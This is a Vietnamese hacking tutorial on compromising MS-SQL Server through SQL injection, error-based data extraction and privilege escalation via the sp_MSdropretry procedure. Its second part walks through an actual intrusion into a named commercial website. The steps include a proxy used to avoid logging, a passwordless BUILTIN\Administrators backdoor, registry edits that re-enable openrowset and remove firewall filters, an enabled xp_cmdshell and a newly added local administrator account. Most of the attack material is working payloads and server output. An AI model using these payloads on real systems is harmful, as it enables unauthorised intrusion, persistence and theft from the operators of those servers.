Xâm nhập máy chủ Ms-Sql qua lỗi Sql-Injection & Cross-Database

Xâm nhập máy chủ Ms-Sql qua lỗi Sql-Injection & Cross-Database
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PHẦN I: CÁC KĨ THUẬT HACK TRONG SQL
• sql-injection
• convert-magic
• cross-database
PHÁT HIỆN LỖI SQL-INJECTION

select price from product where id=1

select price from product where id=1’
Unclosed quotation mark before the character string ‘

KĨ THUẬT CONVERT-MAGIC
and 1=convert(int,@@version) --sp_password
select price from product where id=1 and 1=convert(int,@@version)--sp_password
Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.623 (Intel X86) Nov 23 1998
21:08:09 Copyright (c) 1988-1998 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195:
Service Pack 3)' to a column of data type int.
'sp_password' was found in the text of this event.-- The text has been replaced with this comment for security
reasons.

• @@servername, db_name(), system_user, ...
• ‘ “ ( )
LỖI CROSS-DATABASE CỦA MS-SQL
use testdatabase
create proc dbo.test as select * from master.dbo.sysxlogins
go
exec test
select * from master.dbo.sysxlogins
• sa == dbo

• db_owner có thể create & design các object của dbo
• SID của proc dbo.test == SID của master.dbo.sysxlogins
LỖI INJECTION CỦA MASTER..SP_MSDROPRETRY
CREATE PROCEDURE sp_MSdropretry
(@tname sysname, @pname sysname)
as
declare @retcode int
/*
** To public
*/
exec ('drop table ' + @tname)
if @@ERROR <> 0 return(1)
exec ('drop procedure ' + @pname)
if @@ERROR <> 0 return(1)
return (0)
NÂNG QUYỀN QUA MASTER..SP_MSDROPRETRY
exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers'
exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx'
exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx'
exec sp_executesql N'drop view dbo.test‘
drop table xx update sysusers set sid=0x01 where name='dbo' drop procedure xx
drop table xx update dbo.test set sid=0x01,roles=0x01 where name=guest drop table xx
• guest == db_owner của database master
PHẦN 2: MINH HỌA HACK SQL
• Khai thác lỗi sql-injection tại nhaxinh.com.vn
• Một số kinh nghiệm khi hack SQL
LỖI SQL-INJECTION TẠI NHAXINH.COM.VN
• dùng “proxy.ia2.marketscore.com:80” ðể tránh bị ghi nhật kí

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBCSQLServerDriver] [SQLServer]
Unclosed quotation mark before the character string ''.
/Including/general.asp, line 840\
XÁC ĐỊNH VERSION
and 1=convert(int,@@version)--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
[SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr
9 2002 14:18:16 Copyright (c) 1988-2002 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build
2195: Service Pack 4) ' to a column of data type int.
/Including/general.asp, line 840
XÁC ĐỊNH SERVER_NAME
and 1=convert(int,@@servername)--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'UNESCO' to a
column of data type int.
/Including/general.asp, line 840
and 1=convert(int,db_name())--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'NhaXinh' to a
column of data type int.
/Including/general.asp, line 840

id=1 and 1=convert(int,system_user)--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'nhaxinh' to a
column of data type int.
/Including/general.asp, line 840
• user_name(): các member của “sysadmin” được map sang “dbo”

XÁC ĐỊNH MỨC QUYỀN CỦA SQL SERVER

* from openrowset('sqloledb','';;,'')--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server] Ad hoc access to OLE DB provider 'sqloledb' has been
denied. You must access this provider through a linked server.
/Including/general.asp, line 840
• admin đã disable openrowset/sqloledb, sẽ enable lại sau
ĐƯA GUEST VÀO DB_OWNER CỦA DATABASE MASTER1
sp_executesql N'create view dbo.test as select * from
master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec
sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx' exec sp_executesql
N'drop view dbo.test'--
• Tại sao? guest là db_owner của database master nên guest có thể thi hành xp_regwrite hoặc xp_cmdshell
XÁC NHẬN GUEST ĐÃ NẰM TRONG DB_OWNER CỦA DATABASE MASTER CHƯA ?
and 1=convert(int,(select top 1 name from master..sysusers
where roles=0x01 and name not in('dbo')))--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'guest' to a
column of data type int.
/Including/general.asp, line 840
CÀI CỬA SAU “BUILTIN\ADMINISTRATORS”
sp_executesql N'create view dbo.test as select * from
master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec
sp_msdropretry 'xx update dbo.test set xstatus=18 where name=''BUILTIN\ADMINISTRATORS''','xx' exec
sp_executesql N'drop view dbo.test'--
• login vào database với username là “BUILTIN\ADMINISTRATORS” mà không cần password
TẠI SAO KHÔNG ADD THẲNG USER “NHAXINH” VÀO SYSADMIN?
exec master..sp_addsrvrolemember 'nhaxinh',sysadmin
• Lỗi: Invalid object name ‘XXXX’ khi vấn tin CSDL sau này

ENABLE OPENROWSET/OLEDB & XÁC ĐỊNH LẠI MỨC QUYỀN CỦA SQL SERVER
master..xp_regwrite
HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB','AllowInProcess',REG_DW
ORD,1 exec master..xp_regwrite
HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB','DisallowAdhocAccess',REG
_DWORD,0—
* from openrowset('sqloledb','';;,'')--
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'SYSTEM'.
/Including/general.asp, line 840
DISABLE FIREWALL CỦA NT & TẮT LOG TRONG SQL
master..xp_regdeletevalue
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters'—
master..xp_regdeletevalue
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters'—
LỖI KHI ENABLE MASTER..XP_CMDSHELL & “ALLOW UPDATES”
* from openrowset('sqloledb',
'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off exec master..sp_addextendedproc
xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')—
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Could not process object 'set fmtonly off
master..sp_addextendedproc xp_cmd 'xpsql70.dll' exec sp_configure 'allow updates', '1' reconfigure with
override'. The OLE DB provider 'sqloledb' indicates that the object has no columns.
/Including/general.asp, line 840
THÊM DÒNG “SELECT 1” ĐỂ KHẮC PHỤC LỖI
* from openrowset('sqloledb',
'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec
master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with
override')--
• set “allow updates”=1 cho phép update các “system-table” (sysusers, syslogins,...) trực tiếp, không qua các

“system-procedure”
CHÚ Ý KHI CHẠY MASTER..XP_CMDSHELL
• exec master..xp_cmdshell ‘dir c:\’ -- “SQLAgentCmdExec”
• select * from openrowset('sqloledb', 'server=<SERVER_NAME>;uid=BUILTIN\Administrators;pwd=', 'set
fmtonly off select 1 exec master..xp_cmdshell "dir c:\"') -- “NT AUTHORITY\SYSTEM”
XÁC ĐỊNH IP CỦA SERVER
table t create table t(a int identity,b varchar(1000))
insert into t exec master..xp_cmdshell 'ipconfig'--
and 1=convert(int,(select top 1 b from t where b like '%25IP
Address%25'))-- (%25 == “%”)
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' IP
Address. . . . . . . . . . . . : 203.162.7.70 ' to a column of data type int.
/Including/general.asp, line 840
DO THÁM IP “203.162.7.70”
C:\> ping 203.162.7.70
Pinging 203.162.7.70 with 32 bytes of data:
Reply from 203.162.7.70: bytes=32 time=232ms TTL=118
C:\> ftp 203.162.7.70
Connected to 203.162.7.70.
220 unesco Microsoft FTP Service (Version 5.0).
User (203.162.7.70:(none)):
• 203.162.7.70 == panvietnam.com
FTP TRỰC TIẾP - THẤT BẠI !
* from openrowset('sqloledb',
'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec xp_cmdshell "net user a
/add %26 net localgroup administrators a /add"')-- (%26 == “&”)
C:\> ftp 203.162.7.70
Connected to 203.162.7.70.
220 unesco Microsoft FTP Service

(Version 5.0).
User (203.162.7.70:(none)): a
331 Password required for a.
Password:
530 User a cannot log in.
Login failed.
ftp> bye